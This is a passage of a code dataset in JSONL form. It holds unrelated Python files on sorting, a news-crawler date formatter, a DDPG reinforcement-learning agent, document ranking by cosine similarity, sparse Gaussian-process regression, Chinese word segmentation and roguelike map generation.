li[left]=pivot\n return left\nli=[2,-1,22,45,-5,3]\n# quick(li,0,len(li)-1)\n# print(li)\n\n#稳定性 不稳定\n\n\n# 归并排序\n# 合久必分,分久必合\ndef merge(li,low ,high):\n if low 30):\n\t\tday = dateobj.day\t\t\n\t\tminute = dateobj.minute - 30\n\t\thour = dateobj.hour\n\n\t#테스트용 입력변수\n\t# hour = 'input test value'\n\tminute = 30\n\n\t#날짜 형식 네이버 메인뉴스에 맞춰 정리 : 0000-00-00\n\tif (day < 10 and dateobj.month < 10):\n\t\tdate = str(dateobj.year) + \"-0\" + str(dateobj.month) + \"-0\" + str(day)\n\telif (day < 10):\n\t\tdate = str(dateobj.year) + \"-\" + str(dateobj.month) + \"-0\" + str(day)\n\telif (dateobj.month < 10):\n\t\tdate = str(dateobj.year) + \"-0\" + str(dateobj.month) + \"-\" + str(day)\n\telse:\n\t\tdate = str(dateobj.year) + \"-\" + str(dateobj.month) + \"-\" + str(day)\n\n\t#시간 형식 네이버 메인뉴스에 맞춰 정리 : 00:00\n\tif (hour < 10 and minute < 10):\n\t\ttime = \"0\" + str(hour) + \":0\" + str(minute)\n\telif (minute < 10):\n\t\ttime = str(hour) + \":0\" + str(minute)\n\telif (hour < 10):\n\t\ttime = \"0\" + str(hour) + \":\" + str(minute)\n\telse:\n\t\ttime = str(hour) + \":\" + str(minute)\n\n\t#중복 검사를 위한 1시간 전 데이터베이스 검색을 위한 shour 변수 획득 코드\n\tif ((hour-1) < 10):\n\t\tshour = \"0\"+str(hour-1)\n\telif(hour == 0):\n\t\tshour = hour\n\telse:\n\t\tshour = hour-1\t","sub_path":"naver_crawler/naver_crawler/info/datetimeinfo.py","file_name":"datetimeinfo.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"34565826","text":"class BasePriceItem:\n \"\"\"\n Class for the base price item. It contains 3 fields according to the schema:\n product_type: string\n options: object, Key-value pairs of strings\n base_price: integer\n\n \"\"\"\n def __init__(self, product_type=None, options=None, base_price=None):\n self.product_type = product_type\n self.options = options\n self.base_price = base_price\n","sub_path":"base_price.py","file_name":"base_price.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"646460067","text":"#!/usr/bin/env python\nimport tensorflow as tf\nimport keras\nimport numpy as np\nimport sys, copy, argparse\nfrom keras.layers import Dense, Input,concatenate\nfrom keras.models import model_from_json,Sequential,Model\nimport keras.backend as K\nimport gym\nimport collections\nimport random\nimport matplotlib.pyplot as plt\nimport copy\n\nclass Replay_Memory():\n def __init__(self, memory_size=1000000, burn_in=10000):\n # The memory essentially stores transitions recorder from the agent\n # taking actions in the environment.\n self.transition_list = collections.deque(maxlen = memory_size)\n\n def sample_batch(self, batch_size=128):\n # This function returns a batch of randomly sampled transitions - i.e. state, action, reward, next state, terminal flag tuples.\n sorted_sample = [self.transition_list[i] for i in random.sample(range(len(self.transition_list)), batch_size)]\n state_batch = []\n action_batch = []\n reward_batch = []\n next_state_batch = []\n done_batch = []\n for experience in sorted_sample:\n state, action, reward, next_state, done = experience\n state_batch.append(state)\n action_batch.append(action)\n reward_batch.append(reward)\n next_state_batch.append(next_state)\n done_batch.append(done)\n\n return state_batch, action_batch, reward_batch, next_state_batch, done_batch\n# return sorted_sample\n\n def append(self, transition):\n # Appends transition to the memory.\n self.transition_list.append(transition)\n\nclass Actor():\n def __init__(self, env, sess, tau, actor_lr = 1e-4):\n self.sess = sess\n self.tau = tau\n self.actor_lr = actor_lr\n self.env = env\n self.states_size = self.env.observation_space.shape[0]\n self.action_size = self.env.action_space.shape[0]\n\n K.set_session(self.sess)\n\n self.model , self.weights, self.state = self.actor_network()\n self.target_model, self.target_weights,self.target_state = self.actor_network()\n #Comput the gradient(loss)\n self.action_grad = tf.placeholder(tf.float32,[None, self.action_size])# preparing space for action grad, size of [32,2]\n self.final_grad = tf.gradients(self.model.output, self.weights, -1 * self.action_grad)#applying the chain rule\n grads_and_vars = zip(self.final_grad, self.weights)\n self.optimizer = tf.train.AdamOptimizer(self.actor_lr).apply_gradients(grads_and_vars)\n self.sess.run(tf.global_variables_initializer())\n\n def actor_network(self):\n inputs = Input(shape=(self.states_size,))\n h1 = Dense(400, activation='relu')(inputs)\n h2 = Dense(400, activation='relu')(h1)\n outputs = Dense(self.action_size,activation = 'tanh')(h2)\n model = Model(inputs, outputs)\n state = inputs\n return model, model.trainable_weights,state\n\n def fit(self,states,action_grads):\n #fit the network\n self.sess.run(self.optimizer,feed_dict={\n self.state: states,\n self.action_grad: action_grads\n })\n\n def update_target(self):\n actor_weights = self.model.get_weights()\n target_actor_weights = self.target_model.get_weights()\n for i in range(len(actor_weights)):\n target_actor_weights[i] = self.tau * actor_weights[i] + (1-self.tau) * target_actor_weights[i]\n self.target_model.set_weights(target_actor_weights)\n\nclass Critic():\n def __init__(self, env, sess, tau, critic_lr = 1e-3):\n self.sess = sess\n self.tau = tau\n self.critic_lr = critic_lr\n self.env = env\n self.states_size = self.env.observation_space.shape[0]\n self.action_size = self.env.action_space.shape[0]\n self.critic_lr = critic_lr\n\n K.set_session(self.sess)\n\n self.model, self.state, self.action = self.critic_network()\n self.target_model,self.target_state,self.target_action = self.critic_network()\n\n self.action_grad = tf.gradients(self.model.output, self.action) #Gradients for policy update\n self.sess.run(tf.global_variables_initializer())\n\n def critic_network(self):\n\n state_input = Input(shape=(self.states_size,))\n action_input = Input(shape=(self.action_size,))\n\n h1 = concatenate([state_input, action_input], axis = -1)\n h2 = Dense(400, activation='relu')(h1)\n h3 = Dense(400, activation='relu')(h2)\n # outputs = Dense(self.action_size)(h3)\n outputs = Dense(1)(h3)\n model = Model(input=[state_input,action_input], output=outputs)\n\n optimizer = keras.optimizers.Adam(lr = self.critic_lr)\n model.compile(loss = 'mean_squared_error', optimizer = optimizer)\n state = state_input\n action = action_input\n\n return model,state,action\n\n def get_action_gradients(self, states, actions):\n return self.sess.run(self.action_grad, feed_dict={\n self.state: states,\n self.action: actions\n })\n\n def update_target(self):\n actor_weights = self.model.get_weights()\n target_actor_weights = self.target_model.get_weights()\n for i in range(len(actor_weights)):\n target_actor_weights[i] = self.tau * actor_weights[i] + (1-self.tau) * target_actor_weights[i]\n self.target_model.set_weights(target_actor_weights)\n\n\nclass DDPG:\n def __init__(self, sess,env, gamma,tau, actor_lr, critic_lr):\n # Initialize your class here with relevant arguments\n # e.g. learning rate for actor and critic, update speed\n # for target weights, etc.\n self.env = env\n self.gamma = gamma\n self.tau = tau\n self.actor_lr = actor_lr\n self.critic_lr = critic_lr\n self.replay_memory = Replay_Memory()\n self.sess = sess\n self.actor = Actor(self.env, self.sess, self.tau, self.actor_lr)\n self.critic = Critic(self.env, self.sess, self.tau, self.critic_lr)\n\n\n def test(self, num_episodes = 100):\n \n # Write function for testing here.\n # Remember you do not need to add noise to the actions\n # outputed by your actor when testing.\n\n reward_list = []\n for ep in range(num_episodes):\n state = self.env.reset()\n done = False\n episodic_reward = 0\n\n while not done:\n action = self.actor.model.predict(np.array([state]))\n next_state, reward, done, _ = self.env.step(np.squeeze(action))\n state = next_state\n episodic_reward += reward\n reward_list.append(episodic_reward)\n\n reward_list = np.array(reward_list)\n reward_mean = np.mean(reward_list)\n reward_std = np.std(reward_list)\n\n return reward_mean, reward_std\n\n def train(self, num_episodes, hindsight=False):\n # Write your code here to interact with the environment.\n # For each step you take in the environment, sample a batch\n # from the experience replay and train both your actor\n # and critic networks using the sampled batch.\n #\n # If ``hindsight'' option is specified, you will use the\n # provided environment to add hallucinated transitions\n # into the experience replay buffer.\n\n self.burn_in_memory()\n test_mean = []\n test_std = []\n\n for episode in range(num_episodes):\n state = self.env.reset()\n done = False\n episodic_reward = 0\n noise = np.random.normal(0, 0.01, 21)\n epsilon = 0.2 * np.exp(-5e-5 * episode)\n step = 0\n\n HER_states = []\n HER_actions = []\n\n while not done:\n step += 1\n #predict action from actor network\n if np.random.random() < epsilon:\n action = self.actor.model.predict(np.array([state])) + noise[step]\n\n else:\n action = self.actor.model.predict(np.array([state]))\n\n action = np.squeeze(action)\n next_state, reward, done, info = self.env.step(action)\n episodic_reward += reward\n\n #creating sepearate list for HER states and actions\n HER_states.append(state)\n HER_actions.append(action)\n\n #appending the tuple to replay memory\n transition = (state, action, reward, next_state,int(done))\n self.replay_memory.append(transition)\n state = next_state\n\n state_batch, action_batch, reward_batch, next_state_batch, done_batch = self.replay_memory.sample_batch()\n\n next_action_batch = self.actor.target_model.predict(np.array(next_state_batch))\n target_q = self.critic.target_model.predict([next_state_batch,next_action_batch])\n\n action_batch = np.array(action_batch)\n state_batch = np.array(state_batch)\n reward_batch = np.array(reward_batch)\n done_batch = np.array(done_batch)\n\n y = reward_batch + self.gamma * target_q.squeeze() * (1 - done_batch)\n\n history = self.critic.model.fit([state_batch, action_batch], y, verbose = 0)\n\n actions = self.actor.model.predict(np.array(state_batch))\n actions = np.squeeze(actions)\n action_grad = self.critic.get_action_gradients(state_batch, actions)\n action_grad = np.squeeze(action_grad)\n self.actor.fit(state_batch,action_grad)\n self.actor.update_target()\n self.critic.update_target()\n\n print(\"Episode\",episode, \"Episodic reward\",episodic_reward, 'info', info)\n\n if episode % 1000 == 0:\n mean, std = self.test()\n test_mean.append(mean)\n test_std.append(std)\n print(\"=================\")\n print('episode',episode,'test mean', mean)\n\n HER_endstate = next_state\n if hindsight:\n self.add_hindsight_replay_experience(HER_states, HER_actions, HER_endstate)\n \n if hindsight:\n np.save('data_2/test_mean.npy', test_mean)\n np.save('data_2/test_std.npy', test_std)\n\n else:\n np.save('data_1/test_mean.npy', test_mean)\n np.save('data_1/test_std.npy', test_std)\n\n def add_hindsight_replay_experience(self, states, actions, end_state):\n # Create transitions for hindsight experience replay and\n # store into replay memory.\n states1 = copy.deepcopy(states)\n actions1 = copy.deepcopy(actions)\n end_state1 = copy.deepcopy(end_state)\n her_states, her_rewards = self.env.apply_hindsight(states1, actions1, end_state1)\n \n for i in range(len(actions)):\n action = copy.deepcopy(actions1[i])\n her_state = copy.deepcopy(her_states[i])\n her_reward = copy.deepcopy(her_rewards[i])\n her_nextstate = copy.deepcopy(her_states[i+1])\n if i == len(actions) - 1:\n transition = (her_state, action, her_reward, her_nextstate, 1)\n else:\n transition = (her_state, action, her_reward, her_nextstate, 0)\n self.replay_memory.append(transition)\n\n def burn_in_memory(self):\n # Initialize your replay memory with a burn_in number of episodes / transitions.\n do = True\n itr = 0\n\n while do:\n state = self.env.reset()\n\n done = False\n while not done:\n noise = np.random.normal(0, 0.01, 1)\n action = self.actor.model.predict(np.array([state])) + noise\n action = np.squeeze(action)\n\n next_state, reward, done, _ = self.env.step(action)\n\n #appending the tuple to replay memory\n\n transition = (state, action, reward, next_state, int(done))# attention here, no 1 - done\n self.replay_memory.append(transition)\n\n if len(self.replay_memory.transition_list) > 10000:\n do = False\n break\n\n state = next_state\n itr += 1\n","sub_path":"hw5/src/ddpg_2.py","file_name":"ddpg_2.py","file_ext":"py","file_size_in_byte":12309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"132710408","text":"D = [\"\" for i in range(10)]\n\npath = \"Wiki Docs/\"\nfor i in range(1,11):\n with open(path + str(i) + \".txt\", \"r\") as f:\n D[i-1] = f.read()\n\ndef tf(word, doc):\n if(\",\" in doc or \".\" in doc or \"'\" in doc):\n doc.replace(\",\",\"\")\n doc.replace(\".\",\"\")\n doc.replace(\"'\",\"\")\n doc = doc.lower().split(\" \")\n l = []\n for i in set(word):\n l.append(doc.count(i))\n return l\n\ndef chuanhoa(v):\n import math\n dai = math.sqrt(sum(x**2 for x in v))\n for i in range(len(v)):\n try:\n v[i] = v[i]/dai\n except ZeroDivisionError: \n v[i] = 0\n return v\n\ndef cosin(v1, v2):\n import math\n dai1 = math.sqrt(sum(x**2 for x in v1))\n dai2 = math.sqrt(sum(x**2 for x in v2))\n t = 0\n for i in range(len(v1)):\n t += v1[i]*v2[i]\n try:\n return t/(dai1*dai2)\n except ZeroDivisionError:\n return 0\n\nterm = input(\"input term: \").lower().split(\" \")\n# print(\"word: \", set(term))\nli = []\n# print(tf(term, term))\nfor i in range(len(D)):\n _tf = tf(term, D[i])\n print(f\"Doc {i+1} {_tf}\")\n ch = chuanhoa(_tf)\n # print(f\"chuan hoa: {ch}\")\n li.append(ch)\n\nquery = input(\"input query: \").lower().split(\" \")\ntf_of_query = tf(term, query) \nprint(\"tf q: \", tf_of_query)\ndic = {}\nfor i in range(len(li)):\n dic[i+1] = cosin(tf_of_query, li[i])\n # print(f\"tt {i+1}: {cosin(tf_of_query, li[i])}\")\n\ndict = dict(sorted(dic.items(), key=lambda item: item[1], reverse=True))\nfor key in dict:\n print(\"doc:\",key, \"value:\", dict[key])\n# print(dic)","sub_path":"THTT5.py","file_name":"THTT5.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"232429978","text":"#\n# Yinhao Zhu, May 01, 2017\n#\n\"\"\"\nSparse GP regression, including variational GP and others.\n\"\"\"\n\nfrom __future__ import absolute_import\n\nimport torch\nimport numpy as np\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom ..model import GPModel, Param\nfrom ..functions import cholesky, trtrs\nfrom ..mean_functions import Zero\nfrom ..likelihoods import Gaussian\nfrom ..util import TensorType, torch_dtype, as_tensor, kmeans_centers\nfrom ..util import KL_Gaussian\n\n\nclass _InducingPointsGP(GPModel):\n \"\"\"\n Parent class for GPs with inducing points\n \"\"\"\n def __init__(self, y, x, kernel, num_inducing_points=None, \n inducing_points=None, mean_function=None, likelihood=Gaussian()):\n \"\"\"\n Assume Gaussian likelihood\n\n Args:\n observations (np.ndarray): Y, n x p\n input (np.ndarray): X, n x q\n kernel (gptorch.Kernel):\n inducing_points (np.ndarray, optional): Z, m x q\n num_inducing (int), optional): number of inducing inputs\n\n Input, observations, and kernel must be specified, if both\n ``inducing_points`` and ``num_inducing`` are not set, 1/10 th of total\n points (up to 100) will be draw randomly from input as the inducing \n points.\n \"\"\"\n \n super().__init__(y, x, kernel, likelihood, mean_function)\n\n if inducing_points is None:\n if num_inducing_points is None:\n num_inducing_points = np.clip(x.shape[0] // 10, 1, 100)\n inducing_points = kmeans_centers(x, num_inducing_points)\n # indices = np.random.permutation(len(x))[:num_inducing_points]\n # inducing_points = TensorType(x[indices])\n print(\"Inducing points:\\n{}\".format(inducing_points))\n \n # Z stands for inducing input points as standard in the literature\n self.Z = Param(as_tensor(inducing_points))\n self.jitter = 1.0e-6\n \n\nclass FITC(_InducingPointsGP):\n \"\"\"\n Fully Independent Training Conditional approximation for GP\n\n References:\n Snelson, Edward, and Zoubin Ghahramani. \"Sparse Gaussian processes\n using pseudo-inputs.\" Advances in neural information processing\n systems 18 (2006): 1257.\n Quinonero-Candela, Joaquin, and Carl Edward Rasmussen. \"A unifying\n view of sparse approximate Gaussian process regression.\" Journal of\n Machine Learning Research 6.Dec (2005): 1939-1959.\n \"\"\"\n # TODO: add FITC for sparse GP regression\n pass\n\n\nclass VFE(_InducingPointsGP):\n \"\"\"\n Variational Free Energy approximation for GP\n\n Reference:\n Titsias, Michalis K. \"Variational Learning of Inducing Variables\n in Sparse Gaussian Processes.\" AISTATS. Vol. 5. 2009.\n \"\"\"\n def compute_loss(self):\n \"\"\"\n Computes the variational lower bound of the true log marginal likelihood\n Eqn (9) in Titsias, Michalis K. \"Variational Learning of Inducing Variables\n in Sparse Gaussian Processes.\" AISTATS. Vol. 5. 2009.\n \"\"\"\n\n num_inducing = self.Z.size(0)\n num_training = self.X.size(0)\n dim_output = self.Y.size(1)\n # TODO: add mean_functions\n # err = self.Y - self.mean_function(self.X)\n err = self.Y\n Kff_diag = self.kernel.Kdiag(self.X)\n Kuf = self.kernel.K(self.Z, self.X)\n # add jitter\n Kuu = self.kernel.K(self.Z) + self.jitter * torch.eye(num_inducing, \n dtype=torch_dtype)\n L = cholesky(Kuu)\n\n A = trtrs(Kuf, L)\n AAT = A @ A.t() / self.likelihood.variance.transform().expand_as(Kuu)\n B = AAT + torch.eye(num_inducing, dtype=torch_dtype)\n LB = cholesky(B)\n # divide variance at the end\n c = trtrs(A @ err, LB) / self.likelihood.variance.transform()\n\n # Evidence lower bound\n elbo = TensorType([-0.5 * dim_output * num_training * np.log(2*np.pi)])\n elbo -= dim_output * LB.diag().log().sum()\n elbo -= 0.5 * dim_output * num_training * self.likelihood.variance.transform().log()\n elbo -= 0.5 * (err.pow(2).sum() + dim_output * Kff_diag.sum()) \\\n / self.likelihood.variance.transform()\n elbo += 0.5 * c.pow(2).sum()\n elbo += 0.5 * dim_output * AAT.diag().sum()\n\n return - elbo\n\n def _predict(self, input_new: TensorType, diag=True):\n \"\"\"\n Compute posterior p(f*|y), integrating out induced outputs' posterior.\n\n :return: (mean, var/cov)\n \"\"\"\n\n z = self.Z\n z.requires_grad_(False)\n\n num_inducing = z.size(0)\n dim_output = self.Y.size(1)\n\n # err = self.Y - self.mean_function(self.X)\n err = self.Y\n Kuf = self.kernel.K(z, self.X)\n # add jitter\n Kuu = self.kernel.K(z) + self.jitter * torch.eye(num_inducing, \n dtype=torch_dtype)\n Kus = self.kernel.K(z, input_new)\n L = torch.cholesky(Kuu)\n A = trtrs(Kuf, L)\n AAT = A @ A.t() / self.likelihood.variance.transform().expand_as(Kuu)\n B = AAT + torch.eye(num_inducing, dtype=torch_dtype)\n LB = torch.cholesky(B)\n # divide variance at the end\n c = trtrs(A @ err, LB) / self.likelihood.variance.transform()\n tmp1 = trtrs(Kus, L)\n tmp2 = trtrs(tmp1, LB)\n mean = tmp2.t() @ c\n\n if diag:\n var = self.kernel.Kdiag(input_new) - tmp1.pow(2).sum(0).squeeze() \\\n + tmp2.pow(2).sum(0).squeeze()\n # add kronecker product later for multi-output case\n else:\n var = self.kernel.K(input_new) + tmp2.t() @ tmp2 - tmp1.t() @ tmp1\n # return mean + self.mean_function(input_new), var\n return mean, var\n\n\nclass SVGP(_InducingPointsGP):\n pass\n # \"\"\"\n # Sparse variational Gaussian process.\n\n # Sparse GP with \n\n # James Hensman, Nicolo Fusi, and Neil D. Lawrence,\n # \"Gaussian processes for Big Data\" (2013)\n\n # James Hensman, Alexander Matthews, and Zoubin Ghahramani, \n # \"Scalable variational Gaussian process classification\", JMLR (2015).\n # \"\"\"\n # def __init__(self, x, y, kernel, num_inducing_points=None, \n # inducing_points=None, mean_function=None, likelihood=Gaussian(), \n # batch_size=None):\n # \"\"\"\n # :param batch_size: How many points to process in a minibatch of \n # training. If None, no minibatches are used.\n # \"\"\"\n # super().__init__(x, y, kernel, num_inducing_points=num_inducing_points, \n # inducing_points=inducing_points, mean_function=mean_function, \n # likelihood=likelihood)\n # assert batch_size is None, \"Minibatching not supported yet.\"\n # self.batch_size = batch_size\n\n # # Parameters for the Gaussian variational posterior over the induced\n # # outputs:\n # self.induced_output_mean, self.induced_output_chol_cov = \\\n # self._init_posterior()\n\n # def compute_loss(self, x: TensorType=None, y: TensorType=None) \\\n # -> TensorType:\n # \"\"\"\n # :param x: batch inputs\n # :param y: batch outputs\n # \"\"\"\n # x, y = self._get_batch(x, y)\n # qu_mean = self.induced_output_mean\n # qu_lc = self.induced_output_chol_cov.transform()\n # m = self.Z.shape[0]\n\n # # Get the mean of the marginal q(f)\n # k_uf = self.kernel.K(self.Z, x)\n # kuu = self.kernel.K(self.Z) + \\\n # self.jitter * torch.eye(m, dtype=torch_dtype)\n # kuu_chol = cholesky(kuu)\n # a = torch.trtrs(k_uf, kuu_chol, upper=False)[0]\n # f_mean = a.t() @ \\\n # torch.trtrs(qu_mean, kuu_chol, upper=False)[0]\n\n # # Variance of the marginal q(f)\n # b = torch.trtrs(q_cov_chol, kuu_chol, upper=False)[0]\n # f_var_1 = (a.t() @ a).sum(1)\n # f_var_2 = (a.t() @ b).sum(1)\n # f_var = (self.kernel.Kdiag(x) + f_var_1 + f_var_2)[:, None].expand(\n # *y.shape)\n\n # elbo = self.likelihood.propagate(torch.distributions.Normal(f_mean, \n # f_var.sqrt()))\n \n # kl = KL_Gaussian(qu_mean, qu_lc @ qu_lc.t(), \n # torch.zeros(*qu_mean.shape, dtype=torch_dtype, kuu)\n # return elbo - kl\n \n # def _predict(self, input_new):\n # raise NotImplementedError(\"\")\n \n # def _get_batch(self, x, y):\n # \"\"\"\n # Get the next batch of data for training.\n # :return: (TensorType, TensorType) inputs, outputs\n # \"\"\"\n # assert not ((x is None) ^ (y is None)), \\\n # \"Cannot provide inputs or outputs only in minibatch\"\n # return self.X, self.Y if x is None else x, y\n\n # def _init_posterior(self):\n # \"\"\"\n # Get an initial guess at the variational posterior over the induced \n # outputs.\n # \"\"\"\n # # For the mean, take the nearest points in input space and steal their\n # # corresponding outputs. This could be costly if X is very large...\n # nearest_points = np.argmin(\n # squared_distance(self.Z, self.X).detach().numpy(), axis=1)\n # mean = self.X[nearest_points]\n\n # # For the covariance, we'll start with 1/100 of the prior kernel\n # # matrix. (aka 1/10th the Cholesky).\n # cov = 0.1 * cholesky(self.kernel.K(self.Z))\n # return mean, cov\n","sub_path":"gptorch/models/sparse_gpr.py","file_name":"sparse_gpr.py","file_ext":"py","file_size_in_byte":9355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"270591536","text":"#-*- coding:utf-8 -*- \n \n''''' \n用逆向最大匹配法分词,不去除停用词 \n''' \nimport codecs \nimport xlrd \nfrom tqdm import tqdm\nimport argparse\n \n#读取待分词文本,readlines()返回句子list \ndef readfile(raw_file_path): \n with codecs.open(raw_file_path,\"r\",encoding=\"UTF-8\") as f: \n raw_file=f.readlines() \n return raw_file \n#读取分词词典,返回分词词典list \ndef read_dic(dic_path): \n with codecs.open(dic_path,\"r\",encoding=\"UTF-8\") as f:\n lines = f.readlines()\n data_list = [ l.strip() for l in lines ]\n data_list_rev = [ l.strip()[::-1] for l in lines ]\n f.close()\n return (set(data_list),set(data_list_rev))\ndef cut_word_sentence(sentence,words_dic,max_word_len):\n pos = 0\n words = []\n sentence = sentence.strip()\n slen = len(sentence)\n dz_count = 0\n DE_count = 0\n delta_2 = 0\n while pos < slen:\n block_len = min(max_word_len, slen - pos)\n block = sentence[pos:pos+max_word_len]\n block += ' '\n for i in range(len(block)-1):\n w = block[:-1-i]\n if (len(w) == 1) or (w in words_dic):\n words.append(w)\n pos += len(w)\n delta_2 += abs(2-len(w))\n if (len(w) == 1):\n dz_count += 1\n if w in [u'和',u'地',u'是',u'与',u'从',\n u'上',u'啊',u'吧',u'吗',u'嘛',u'喂',u'哪',u'最',\n u'都',u'把',u'被',u\"会\",u'其',u'了',u'能',\n u'你',u'我',u'他',u'她',\n u'但',u'且',u'却',u'而',u'为',u'使',u'在',u'不',\n u'就',u'么',u'说',u'称',u'问',u'可',u'并',u'有',u'时,'\n u'做',u'靠',u'做',u'干',u'点',u'个',u'受',u'前',\n u'更',u'越',u'很',u'只',u'得',u'您',\n u'将',u'元',u'块',u'便',u'后',u'总',u'性',\n u'能',u'人',u'对',u'也',u'又',u'还',u'打',u'去',u'来']:\n DE_count += 1\n break\n pass\n pass\n return words,dz_count,DE_count,delta_2\n\ndef cut_word_sentence_mix(sentence,words_dics,max_word_len):\n sub_sents = sentence.split(u'的')\n result = []\n for sent in sub_sents:\n words1,dz_count1,DE_count1,delta_2_1 = cut_word_sentence(sent,words_dics[0],max_word_len)\n words2,dz_count2,DE_count2,delta_2_2 = cut_word_sentence(sent[::-1],words_dics[1],max_word_len)\n dz_count1 -= (0.9*DE_count1)\n dz_count2 -= (0.9*DE_count2)\n if ' '.join(words1) != ' '.join(words2)[::-1]:\n #print('>1 '+'\\t'.join(words1)+'(%.1f,%.1f,%.1f)'%(dz_count1,DE_count1,delta_2_1))\n #print('>2 '+'\\t'.join(words2)[::-1]+'(%.1f,%.1f,%.1f)'%(dz_count2,DE_count2,delta_2_2))\n pass\n else:\n result += ['\\t'.join(words1)]\n continue\n\n if len(words1) < len(words2):\n #print('word_count_fewer>>1\\n'+'\\t'.join(words1))\n result += ['\\t'.join(words1)]\n elif len(words1) > len(words2):\n #print('word_count_fewer>>2\\n'+'\\t'.join(words2)[::-1])\n result += ['\\t'.join(words2)[::-1]]\n elif DE_count1 > DE_count2:\n #print('DE_more>>1\\n'+'\\t'.join(words1))\n result += ['\\t'.join(words1)]\n #raw_input()\n elif DE_count1 < DE_count2:\n #print('DE_more>>2\\n'+'\\t'.join(words2)[::-1])\n result += ['\\t'.join(words2)[::-1]]\n #raw_input()\n elif dz_count1 < dz_count2:\n #print('dz_fewer>>1\\n'+'\\t'.join(words1))\n result += ['\\t'.join(words1)]\n #raw_input()\n elif dz_count1 > dz_count2:\n #print('dz_fewer>>2\\n'+'\\t'.join(words2)[::-1])\n result += ['\\t'.join(words2)[::-1]]\n #raw_input()\n else:\n #print('select rev>>2\\n'+'\\t'.join(words2)[::-1])\n result += ['\\t'.join(words2)[::-1]]\n #raw_input()\n pass\n pass\n result = u'\\t的\\t'.join(result).strip()\n return result\n\n\n#逆向最大匹配法分词 \ndef cut_words(raw_sentences,word_dic): \n word_cut=[] \n #最大词长,分词词典中的最大词长,为初始分词的最大词长 \n max_length=max(len(word) for word in word_dic) \n for sentence in tqdm(raw_sentences): \n #strip()函数返回一个没有首尾空白字符(‘\\n’、‘\\r’、‘\\t’、‘’)的sentence,避��分词错误 \n if rev == False:\n sentence = sentence[::-1]\n pass\n sentence=sentence.strip() \n #单句中的字数 \n words_length = len(sentence) \n #存储切分出的词语 \n cut_word_list=[] \n #判断句子是否切分完毕 \n while words_length > 0: \n max_cut_length = min(words_length, max_length) \n for i in range(max_cut_length, 0, -1): \n #根据切片性质,截取words_length-i到words_length-1索引的字,不包括words_length,所以不会溢出 \n new_word = sentence[words_length - i: words_length] \n if new_word in word_dic: \n cut_word_list.append(new_word) \n words_length = words_length - i \n break \n elif i == 1: \n cut_word_list.append(new_word) \n words_length = words_length - 1 \n #因为是逆向最大匹配,所以最终需要把结果逆向输出,转换为原始顺序 \n cut_word_list.reverse() \n words=\"\\t\".join(cut_word_list) \n #最终把句子首端的分词符号删除,是避免以后将分词结果转化为列表时会出现空字符串元素 \n word_cut.append(words.lstrip(\"\\t\")) \n return word_cut \n#输出分词文本 \ndef outfile(out_path,sentences): \n #输出模式是“a”即在原始文本上继续追加文本 \n with codecs.open(out_path,\"w\",\"utf8\") as f: \n for sentence in sentences: \n f.write(sentence+'\\n') \n print(\"well done!\") \ndef del_not_in_dict(sent,words_dic):\n #print(sent)\n words = list(sent)\n new_words = [ x for x in words if x in words_dic ]\n new_sent = ''.join(new_words)\n #print(new_sent)\n return new_sent\ndef main(): \n parser = argparse.ArgumentParser()\n parser.add_argument(\"input\", help = \"the data_dir\")\n parser.add_argument(\"dict\", help = \"the output dir\")\n parser.add_argument(\"save\", help = \"the output dir\")\n parser.add_argument('--skip_name', action='store_true', help = \"set to skip first column\")\n parser.add_argument('--del_not_in_dict', action='store_true', help = \"set to skip first column\")\n #parser.add_argument('--vad', action='store_true', help = \"set to do vad\")\n args = parser.parse_args()\n #读取分词词典 \n wordfile_path = args.dict\n print('reading dict ... ', wordfile_path)\n words_dics = read_dic(wordfile_path) \n max_word_len=max(len(word) for word in words_dics[0])\n print('cutting ...')\n cws = cut_word_sentence_mix(u'怎么从来都没见过',words_dics,max_word_len)\n print(cws)\n #exit()\n #读取待分词文本 \n rawfile_path = args.input\n print('reading input text ... ', rawfile_path)\n raw_file=readfile(rawfile_path) \n outfile_path = args.save\n out_file=open(outfile_path,'wt')\n count = 0\n for sent in tqdm(raw_file):\n if args.skip_name:\n sent = ''.join(sent.split()[1:])\n if args.del_not_in_dict:\n sent = del_not_in_dict(sent,words_dics[0])\n cws = cut_word_sentence_mix(sent,words_dics,max_word_len)\n '''\n print(' '+cws)\n count += 1\n if count%12 == 0:\n raw_input()\n '''\n out_file.write(cws.encode('utf-8')+'\\n')\n pass\n out_file.close()\n #逆向最大匹配法分词 \n #content_cut = cut_words(raw_file,words_dics) \n #输出文本 \n #outfile_path = args.save\n #outfile(outfile_path,content_cut) \n\nif __name__==\"__main__\": \n main()\n","sub_path":"T/tool/lm_tools/mycws.py","file_name":"mycws.py","file_ext":"py","file_size_in_byte":8170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"467332562","text":"import libtcodpy as libtcod\nfrom random import randint\n\nfrom render_function import RenderOrder\nfrom components.ai import BasicMonster\nfrom components.fighter import Fighter\n\nfrom entity import Entity\nfrom map_objects.rectangle import Rect\nfrom map_objects.tile import Tile\n\n\nclass GameMap:\n def __init__(self, width, height):\n self.width = width\n self.height = height\n self.tiles = self.initialize_tiles()\n\n # All tiles are initialized to be blocked for room generation to work\n def initialize_tiles(self):\n tiles = [[Tile(True) for y in range(self.height)] for x in range (self.width)]\n\n return tiles\n\n # Generates the dungeon\n def make_map(self, max_rooms, room_min_size, room_max_size, map_width, map_height, player, entities, max_monsters_per_room):\n rooms = []\n num_rooms = 0\n\n for r in range(max_rooms):\n # random width and height\n w = randint(room_min_size, room_max_size)\n h = randint(room_min_size, room_max_size)\n # random position without going out of the boundaries of map\n x = randint(0, map_width - w - 1)\n y = randint(0, map_height - h - 1)\n\n # Rect class makes rectangles easier to work with\n new_room = Rect(x, y, w, h)\n\n # Run through the other rooms to see if they intersect with this one\n for other_room in rooms:\n if new_room.intersect(other_room):\n break\n # If for loop does not break, do this\n else:\n # This means there are no intersections, so this room is valid\n\n # \"Paint\" it to the map's tiles\n 